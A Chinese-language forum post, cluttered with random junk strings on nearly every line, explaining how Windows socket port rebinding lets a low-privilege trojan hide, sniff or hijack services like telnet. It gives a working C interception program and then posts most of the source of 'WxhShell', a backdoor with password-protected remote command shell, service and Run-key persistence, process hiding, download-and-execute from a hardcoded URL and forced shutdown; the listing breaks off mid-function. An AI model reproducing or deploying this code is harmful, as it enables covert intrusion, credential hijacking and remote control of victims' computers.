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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P?%kV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b#%s!  
vJ9 6qX  
  saddr.sin_family = AF_INET; k2Yh?OH  
X2b<_j3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bw2-4K\"kc  
D<9FSxl6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q]F2bo  
T1TKwU8l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b X.S`  
a f[<[2pma  
  这意味着什么?意味着可以进行如下的攻击: QI*Y7R~<  
v;.7-9c*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kL;sA'I:S  
[4uTp[U!r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <4,hrx&.  
,4$ZB(\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  9?c0cwP?  
tRU+6D <w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _[|~(lDJl  
-V@vY42  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;ru=z@  
f\+MnZ4[Qj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >r+Dl\R  
Q]WjW'Ry\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g{K*EL <  
ceN*wkGyB  
  #include emp*j@9  
  #include a4HUP*  
  #include H^ _[IkuA%  
  #include    }RX[J0Prq~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L&3Ak}sh  
  int main() &Rw4ub3  
  { 4B>N[#-0=  
  WORD wVersionRequested; (. ~#bl  
  DWORD ret; bdh6ii  
  WSADATA wsaData; #rSm;'%,  
  BOOL val;  QDCu  
  SOCKADDR_IN saddr; 0M^7#),  
  SOCKADDR_IN scaddr; _[ml<HW]  
  int err; f0rM 4"1  
  SOCKET s; ^_FB .y%  
  SOCKET sc; {+~}iF<%  
  int caddsize; ;Z]i$Vi_r  
  HANDLE mt; TVVL1wZ  
  DWORD tid;   9\9:)q  
  wVersionRequested = MAKEWORD( 2, 2 ); w"Gci~]bXU  
  err = WSAStartup( wVersionRequested, &wsaData ); ">='l9  
  if ( err != 0 ) { MY>mP  
  printf("error!WSAStartup failed!\n"); SV%;w>  
  return -1;  ;0G+>&C8  
  } YTH3t] &  
  saddr.sin_family = AF_INET; \9Nd"E[B  
   $'D|}=h<Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ut8v&i1?  
;&B;RUUnTO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3F fS2we  
  saddr.sin_port = htons(23); Le#>uWM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,CiN@T \&  
  { 0 XV8 B  
  printf("error!socket failed!\n"); ?wzE+p-  
  return -1; ~,[<R  
  } ``*iK  
  val = TRUE; S<do.{|p[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1<y(8C6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y[M<x5  
  { 13 `Or(>U  
  printf("error!setsockopt failed!\n"); AlP}H~|M7  
  return -1; sPMCN's  
  } wLn,x;;<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M*M,Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ykFm$ 0m+I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]PWK^-4P  
)kLTyx2&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W Z'UVUi8  
  { \\Ps*HN  
  ret=GetLastError(); #R2wt7vE  
  printf("error!bind failed!\n"); iTTUyftHT  
  return -1; lu~<pfg  
  } , y%!s27  
  listen(s,2); W&E?#=*X  
  while(1) t>nx#ErS  
  { 9 <qAf`  
  caddsize = sizeof(scaddr); [n%=2*1p  
  //接受连接请求 J~.8.]gXW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DIrQ5C  
  if(sc!=INVALID_SOCKET) 3 !W M'i  
  { CK4C:`YG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TmI~P+5w  
  if(mt==NULL) \F`%vZrKR  
  { VK>ZH^-  
  printf("Thread Creat Failed!\n"); QD6<sw@]P  
  break; ~z;G$jd  
  } W=zHD 9  
  } }<m'Nkz<X  
  CloseHandle(mt); qg_M9xJ  
  } 0hJ,l.  
  closesocket(s); N %;bV@A9  
  WSACleanup();  ! @EZ  
  return 0; 62L,/?`B$  
  }   jVA|Vi_2  
  DWORD WINAPI ClientThread(LPVOID lpParam)  {yXpBS  
  { 90R z#qrI*  
  SOCKET ss = (SOCKET)lpParam; 7$"{&T  
  SOCKET sc; 4KSZ;fV6/  
  unsigned char buf[4096]; ;UU`kk  
  SOCKADDR_IN saddr; MaMP7O|W  
  long num; rQE:rVKVh  
  DWORD val; B=vBJC)  
  DWORD ret; V)|]w[(Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HLYog+?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    .7GTL  
  saddr.sin_family = AF_INET; .J?cV;:`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V{qpha4'P  
  saddr.sin_port = htons(23); 94uAt&&b(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T#M_2qJ1=  
  { Mk-zeq<2z  
  printf("error!socket failed!\n"); z89!\Q  
  return -1; pNt,RRoR  
  } "rHcsuSEw  
  val = 100; 5?] Dn k.o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =Oyn<  
  { "pRi1Y5)l  
  ret = GetLastError(); !>E$2}Q|]  
  return -1; ,)u1r3@I^  
  } ^T>P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %s&"gWi  
  { 0j\} @  
  ret = GetLastError(); }\#u~k!l  
  return -1; :'6vIPN5  
  } ;RR\ Hwix  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $p(  
  { K9\r2w'T'  
  printf("error!socket connect failed!\n"); >`E (K X  
  closesocket(sc); &9j*Y  
  closesocket(ss); eDkJ+5b  
  return -1; :{ 8,O-  
  } 8uh^%La8b.  
  while(1) YY4XCkt  
  { k-CW?=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lE=&hba  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dbe\ YE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f;{K+\T  
  num = recv(ss,buf,4096,0); 4:zyZu3fm  
  if(num>0) rq(9w*MW:  
  send(sc,buf,num,0); @~ 6,8nQ  
  else if(num==0) ro}WBv  
  break; T<ka4  
  num = recv(sc,buf,4096,0); x<Ac\Cx  
  if(num>0) ]H {g/C{j  
  send(ss,buf,num,0); QgF2f/;!  
  else if(num==0) #MyF 1E  
  break; 8wH1x .  
  } ^n%9Tu  
  closesocket(ss); &s0_^5B0  
  closesocket(sc); H`T8ydNXa  
  return 0 ; i;l0)q  
  } .ri?p:a}w  
O\X=vh/D  
Pl/B#Sbf'  
========================================================== r]3v.GZy  
52P^0<Wq  
下边附上一个代码,,WXhSHELL >1*Dg?/=S  
^ }kqAmr  
========================================================== #Fkn-/nL  
2Q;g|*]  
#include "stdafx.h" tNf_,]u  
q;Rhx"x>T  
#include <stdio.h> 1sNZl&  
#include <string.h> ]K-B#D{P  
#include <windows.h> tBjMm8lgb  
#include <winsock2.h> Ewq7oq5:  
#include <winsvc.h> w+][L||4c  
#include <urlmon.h> Q$^)z_jai  
-n"7G%$M  
#pragma comment (lib, "Ws2_32.lib") w678  
#pragma comment (lib, "urlmon.lib") 0Qr|!B:+9)  
q,>-4Cm  
#define MAX_USER   100 // 最大客户端连接数 @v~<E?Un  
#define BUF_SOCK   200 // sock buffer w,zm$s^  
#define KEY_BUFF   255 // 输入 buffer pY$DOr- r`  
2J&J  
#define REBOOT     0   // 重启 |Duf 3u  
#define SHUTDOWN   1   // 关机 cv7.=*Kb;  
rD!UP1Nb  
#define DEF_PORT   5000 // 监听端口 _m@+d>f_  
ALi3JU  
#define REG_LEN     16   // 注册表键长度 Iy;bzHXs  
#define SVC_LEN     80   // NT服务名长度 |'QgL0?  
DR<=C`<4(  
// 从dll定义API ^!7|B3`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m?y'Y`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lPA:ho/`:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3J}/<&wv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zgPUW z X=  
}JM02R~I  
// wxhshell配置信息 ekPn`U  
struct WSCFG { ,|^ lqY  
  int ws_port;         // 监听端口 jRBKy8?[C  
  char ws_passstr[REG_LEN]; // 口令 S<o\.&J  
  int ws_autoins;       // 安装标记, 1=yes 0=no \E8CC>Jd  
  char ws_regname[REG_LEN]; // 注册表键名 S{S.H?{F  
  char ws_svcname[REG_LEN]; // 服务名 8,&pX ga  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1$v1:6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7hAc6M$h;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A 6j>KTU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A3A"^f$$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #eY?6Kjn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :pNu$%q  
xlm:erP  
}; C<E;f]d  
55V&[>|K5  
// default Wxhshell configuration O[5u6heNMr  
struct WSCFG wscfg={DEF_PORT, JL=s=9N;3  
    "xuhuanlingzhe", 8z`Ne(h;  
    1, A)HV#T`N  
    "Wxhshell", ;@/vKA3l.  
    "Wxhshell", iu+rg(*%  
            "WxhShell Service", -!-1X7v|Fp  
    "Wrsky Windows CmdShell Service", 8C4v  
    "Please Input Your Password: ", ]}9D*V  
  1, aMO+ y91Y(  
  "http://www.wrsky.com/wxhshell.exe", - -ZSl  
  "Wxhshell.exe" %&&;06GU}  
    }; `y*o -St3  
ZJ'FZ8Sx  
// 消息定义模块 _8s1Wh G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@eFSA5k,7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6B&ERdoX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G0Wv=tX|  
char *msg_ws_ext="\n\rExit."; K&;;{~md.  
char *msg_ws_end="\n\rQuit."; ]GmXZi  
char *msg_ws_boot="\n\rReboot..."; HyJ&;4rf  
char *msg_ws_poff="\n\rShutdown..."; T?EFY}f  
char *msg_ws_down="\n\rSave to "; tS sDW!!M  
*:,y`!F=y  
char *msg_ws_err="\n\rErr!"; _Bq[c  
char *msg_ws_ok="\n\rOK!"; q:3HU<  
lk%W2N5  
char ExeFile[MAX_PATH]; /F_(&H!m  
int nUser = 0; q":0\ar&QT  
HANDLE handles[MAX_USER]; T UO*w  
int OsIsNt; ]oE:p  
*v0}S5^ /"  
SERVICE_STATUS       serviceStatus; 89l{h8R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YnwP\Arfq  
r1AG1Y  
// 函数声明 [8rl{~9E  
int Install(void); X.)D"+xnH  
int Uninstall(void); Y5\=5r/  
int DownloadFile(char *sURL, SOCKET wsh); &BkdC,o  
int Boot(int flag); RrRE$g  
void HideProc(void); )"H r3  
int GetOsVer(void); }NF7"tOL  
int Wxhshell(SOCKET wsl); UO8./%'  
void TalkWithClient(void *cs); [ |dQZ  
int CmdShell(SOCKET sock); ~,O}wT6q  
int StartFromService(void); &/{x7;e  
int StartWxhshell(LPSTR lpCmdLine); 1ZRSeh  
"Rq)%o$Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {U7A&e0eW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tN&_f==e  
&?#!%Ds  
// 数据结构和表定义 Fa9gr/.F,@  
SERVICE_TABLE_ENTRY DispatchTable[] = |<w Z;d  
{ 4<l&cP  
{wscfg.ws_svcname, NTServiceMain}, tjt#2i8/  
{NULL, NULL} {aYCrk1  
}; x[1( cj  
Cl'3I%$8K  
// 自我安装 # NR 9\  
int Install(void) 8~eYN- #W&  
{ I+FQ2\J*H  
  char svExeFile[MAX_PATH]; <:Z-zQp)?  
  HKEY key; 93fClF|@  
  strcpy(svExeFile,ExeFile); (g#,AX  
$S{]` +  
// 如果是win9x系统,修改注册表设为自启动 )@\m0bnF  
if(!OsIsNt) { X0Z r?$q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WJ m:?,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hwB>@r2  
  RegCloseKey(key); M$+2f.(>k)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wz-7oP%;I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B4ky%gF4  
  RegCloseKey(key); 8jm\/?k|  
  return 0; M,/{53  
    } =3<@{^Eg  
  } N[8y+2SZ  
} P4.snRQ  
else { O/bpm-h`8c  
K!onV3mR  
// 如果是NT以上系统,安装为系统服务 h;`]rK;g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dRPX`%J  
if (schSCManager!=0) &~a/Upz0]_  
{ &s<'fSI  
  SC_HANDLE schService = CreateService /6d:l>4  
  ( 0 |Y'@&  
  schSCManager, )R]gJ_ ,c  
  wscfg.ws_svcname, m9m]q&hx  
  wscfg.ws_svcdisp, 1)N{!w`  
  SERVICE_ALL_ACCESS, k{d)'\FM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o7WK"E!pF'  
  SERVICE_AUTO_START, k=r)kkO)  
  SERVICE_ERROR_NORMAL, Fmux#}Z  
  svExeFile, m-)yQM8  
  NULL, *w_f-YoXp  
  NULL, 0F|DD8tHR  
  NULL, Q2 @Ugt$  
  NULL, &a];"2  
  NULL u@eKh3!  
  ); l1wYN,rv  
  if (schService!=0) >5+]~[S  
  { s^Wh!:>r/  
  CloseServiceHandle(schService); ^VAvQ(b!:i  
  CloseServiceHandle(schSCManager); gyAKjLqqpi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FQGh+.U  
  strcat(svExeFile,wscfg.ws_svcname); ]eD5It\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O]N 8Q H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Y /55uC  
  RegCloseKey(key); 1E|~;wo\  
  return 0; rP7~ R  
    }  t_Rpeav  
  } /pOK4"  
  CloseServiceHandle(schSCManager); y&8kORz;?  
} (XJ0?;js=  
} -L)b;0%  
-)2sR>`A%  
return 1; !mLD`62.  
} =zXii{t  
qH-':|h7  
// 自我卸载 /vG)n9Rc  
int Uninstall(void) ^J_rb;m43  
{ soi.`xE  
  HKEY key; r7=r~3)  
j/Rm~!q  
if(!OsIsNt) { ZQQ0}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w5p#+/,P  
  RegDeleteValue(key,wscfg.ws_regname); e-.s63hm  
  RegCloseKey(key); r:*0)UZlD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }xE}I<M  
  RegDeleteValue(key,wscfg.ws_regname); IoI ,IX]i)  
  RegCloseKey(key); 98^o9i  
  return 0; (hv>vfY@  
  } ,@*Srrw  
} uY'77,G_J  
} qqR8E&Y{  
else { fR6.:7&  
BvA09lK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XK7$Xbd  
if (schSCManager!=0) _[_mmf1;:'  
{ @p}"B9h*^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (iw)C)t*u  
  if (schService!=0) 6xsB#v*  
  { J&bhR9sF  
  if(DeleteService(schService)!=0) { rBY{&JhS  
  CloseServiceHandle(schService); |KQkmc  
  CloseServiceHandle(schSCManager); lImg+r T{  
  return 0; f.cQp&&]r  
  } /y<nAGtD&  
  CloseServiceHandle(schService); K@UQ O  
  } TUaW'  
  CloseServiceHandle(schSCManager); 0~0OQ/>7  
} Ws>2 S  
} nD8CP[bRo  
ca{u"n  
return 1; 'eRJQ*0F  
} %Qc5_of  
+~~&FO2  
// 从指定url下载文件 m2o)/:  
int DownloadFile(char *sURL, SOCKET wsh) |`50Tf\J  
{ u^!c:RfE?  
  HRESULT hr; ZC\&n4~7  
char seps[]= "/"; [c=T)]E1  
char *token; n6f  
char *file; 5sc`L  
char myURL[MAX_PATH]; S`qa_yI)Ed  
char myFILE[MAX_PATH]; n,E =eNc  
|VPJaiC~  
strcpy(myURL,sURL); vS$_H<;P  
  token=strtok(myURL,seps); +g6t)Gl  
  while(token!=NULL) W$X@DXT=o  
  { \ &S-lsLY  
    file=token; UFLN/  
  token=strtok(NULL,seps); _ Db05:r@  
  } M_Qv{   
J0eJRs  
GetCurrentDirectory(MAX_PATH,myFILE); ^*fZ  
strcat(myFILE, "\\"); :GaK.W q  
strcat(myFILE, file); iO,_0Y4  
  send(wsh,myFILE,strlen(myFILE),0); GvCB3z  
send(wsh,"...",3,0); c< P ML|e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t'{\S_  
  if(hr==S_OK) U0Y;*_>4  
return 0; }bg_?o;X}  
else =Bq3O58+  
return 1; 7oK7f=*Q  
:+m8~n$/  
} B?G!~lQ)o  
nbGB84  
// 系统电源模块 {B_pjs  
int Boot(int flag) fuQb h  
{ z+Cw*v\Y  
  HANDLE hToken; ZM~kc|&  
  TOKEN_PRIVILEGES tkp; PU6Sa-fQ2,  
APC,p,"  
  if(OsIsNt) { BV8-\R@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tL;!!vg#V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LXm5f;  
    tkp.PrivilegeCount = 1; d\R]>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fW,,@2P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  >Mzk;TM  
if(flag==REBOOT) { }c"1;C&{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jv C.T]<B  
  return 0; .=nx5y z  
} ![{>$Q?5  
else { 6Wm`Vj(s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :RH0.5)  
  return 0; DeAi'"&  
} BJdH2qREN  
  } ygvX}q  
  else { l^@!,Z  
if(flag==REBOOT) { Eep*,Cnt0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _7O;ED+  
  return 0; I\BcG(hlJ  
} GomTec9.  
else { (61_=,jv\h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^zMME*G  
  return 0; L6xLD X7y  
} *7ggw[~  
} Kf.G'v46  
|9;6Cp  
return 1; ,EAf/2C  
} `o.DuvQ E  
\1AtB c&  
// win9x进程隐藏模块 epWO}@ b a  
void HideProc(void) x*EzX4$x  
{ _msV3JBr  
>|"mhNF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _m  *8f\  
  if ( hKernel != NULL ) ^+ hJ& 9W  
  { ]$StbBP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cPemrNxydN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;}tEU'&  
    FreeLibrary(hKernel); Zewx*Y|  
  } wQ7G_kVp  
J< E"ZoY  
return; 0{8^)apII  
} AF=9KWqf  
3N'fHy  
// 获取操作系统版本 2f%G`4/p  
int GetOsVer(void) 6%p$C oR  
{ ^&AhW m7\  
  OSVERSIONINFO winfo; FAS+*G Fz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =9lrPQ]w  
  GetVersionEx(&winfo); ^k'?e"[gTs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]<pnHh+2A  
  return 1; 6a+w/IO3OU  
  else =*icCng  
  return 0; fI/?2ZH  
} Y\.d s%G  
_e ]jz2j  
// 客户端句柄模块 _86#$|kw  
int Wxhshell(SOCKET wsl) Q Eh_2  
{ Y4\BHFq  
  SOCKET wsh; acSm+t  
  struct sockaddr_in client; =5UT'3p>  
  DWORD myID; )wmG&"qsP  
Lv`*+;1 K  
  while(nUser<MAX_USER) (6aSDx Sc  
{ CDy *8<-&  
  int nSize=sizeof(client); /D]V3|@E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X"hoDg  
  if(wsh==INVALID_SOCKET) return 1; JYY:~2  
d$3;o&VUNI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wIrjWU2  
if(handles[nUser]==0) .H M1c  
  closesocket(wsh); Y: ~A-_  
else l1_Tr2A}7/  
  nUser++; UN~dzA~V  
  } X>[x7t:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hnQDm$k  
i/&?e+i  
  return 0; >|)ia5#  
} K/2k/\Jk[_  
+h64idM{U  
// 关闭 socket 6,ZfC<)  
void CloseIt(SOCKET wsh) M~0A-*N  
{ }@6/sg  
closesocket(wsh); 2(-J9y|  
nUser--; %uuh+@/&yz  
ExitThread(0); )JO#Z(  
} ArFsr  
Kk}|[\fW  
// 客户端请求句柄 m3apeIEi[  
void TalkWithClient(void *cs) }~?B>vZS  
{ u,zA^%   
x>>#<hOz[  
  SOCKET wsh=(SOCKET)cs; 'IorjR@ 40  
  char pwd[SVC_LEN]; FS3MR9  
  char cmd[KEY_BUFF]; W\'njN  
char chr[1]; I9! eL4e  
int i,j; K3jPTAw=#  
c+6/@y  
  while (nUser < MAX_USER) { WjyuaAWY  
E%eTjvvxus  
if(wscfg.ws_passstr) { j>2Jw'l;?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jWn!96NhlL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6.o8vC/PZ  
  //ZeroMemory(pwd,KEY_BUFF); &GF|Rr8NXs  
      i=0; bIFKP  
  while(i<SVC_LEN) { jV(\]g"/=  
+d[A'&"  
  // 设置超时 *]ROUk@K=  
  fd_set FdRead; bv.DW,l%'  
  struct timeval TimeOut; Q?f%]uGFQ  
  FD_ZERO(&FdRead); }(g`l)OX  
  FD_SET(wsh,&FdRead); 1g_(xwUp+  
  TimeOut.tv_sec=8; 6sRe. ct<  
  TimeOut.tv_usec=0; yI&{8DCCw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [}7j0&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sv*@3x  
ISQC{K']J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Pm>mQZ},  
  pwd=chr[0]; -S7PnR6  
  if(chr[0]==0xd || chr[0]==0xa) { y8Q96zi  
  pwd=0; =h?Q.vad  
  break; .Z,3:3,]  
  } 5yvaY "B  
  i++; FmfPi .;1  
    } oYYns%r}{  
|4UU`J9M  
  // 如果是非法用户,关闭 socket <@B zF0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "[`.I*WNo  
} 'C l}IDF  
rAc Yt9M#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sU {'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %5N;SRtv  
@WppiZ$  
while(1) { R&z)  
qz|`\^  
  ZeroMemory(cmd,KEY_BUFF); vepZod}D  
.g CC$  
      // 自动支持客户端 telnet标准   x^UE4$oo  
  j=0; E$$pO.\  
  while(j<KEY_BUFF) { Mo+ mO&B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NDG3mCl  
  cmd[j]=chr[0]; tMN^"sjf*  
  if(chr[0]==0xa || chr[0]==0xd) { ~, hPi  
  cmd[j]=0; 0D;MW  
  break; $rB20!  
  } dx=\Pq  
  j++; }3tbqFiH  
    } 3pxm0|  
sZ,MNF8i  
  // 下载文件 _n.2'  
  if(strstr(cmd,"http://")) { LPjsR=xi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DVu_KT[Hd  
  if(DownloadFile(cmd,wsh)) +O< 0q"E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B=Oc!e=K  
  else ;WQ@dC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J0,SFu:  
  } btq`[gAF\  
  else { KFCL|9P  
cz8%p;F:  
    switch(cmd[0]) { m6%csh-N1  
  jL$&]sQ`O)  
  // 帮助 fV-vy]x..  
  case '?': { Jjb(lW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9aLS%-x!+  
    break; &G5=?ub  
  }  N-x~\B!  
  // 安装 {VWUK`3  
  case 'i': { zj!&12w%3  
    if(Install()) #A8d@]Ps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5XO eYO{  
    else ,"U8Fgf[r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !/4f/g4Ze  
    break; ?Rc+H;x=f  
    } !6eXJ#~[E  
  // 卸载 Luxo,Ve  
  case 'r': { U D9&k^  
    if(Uninstall()) NO4V{}?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl%!7?G|$>  
    else &9CKI/K:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F+;{s(wx  
    break; o C]tEXJ  
    } c65_E<5Z  
  // 显示 wxhshell 所在路径 lVywc:X  
  case 'p': { =e7,d$i  
    char svExeFile[MAX_PATH]; `{g8A P3  
    strcpy(svExeFile,"\n\r"); >uN`q1?l'  
      strcat(svExeFile,ExeFile);  \Vis  
        send(wsh,svExeFile,strlen(svExeFile),0); BX[92~Bq  
    break; _VU/j9<+  
    } ,}M@Am0~  
  // 重启 ETP}mo  
  case 'b': { d*26;5~\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M\wIpRD,  
    if(Boot(REBOOT)) im&E \`L7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~1>q+<Q  
    else { k^q}F%UV  
    closesocket(wsh); bl|k6{A  
    ExitThread(0); z/*nY?  
    } Si<9O h  
    break; ^7`"wj14  
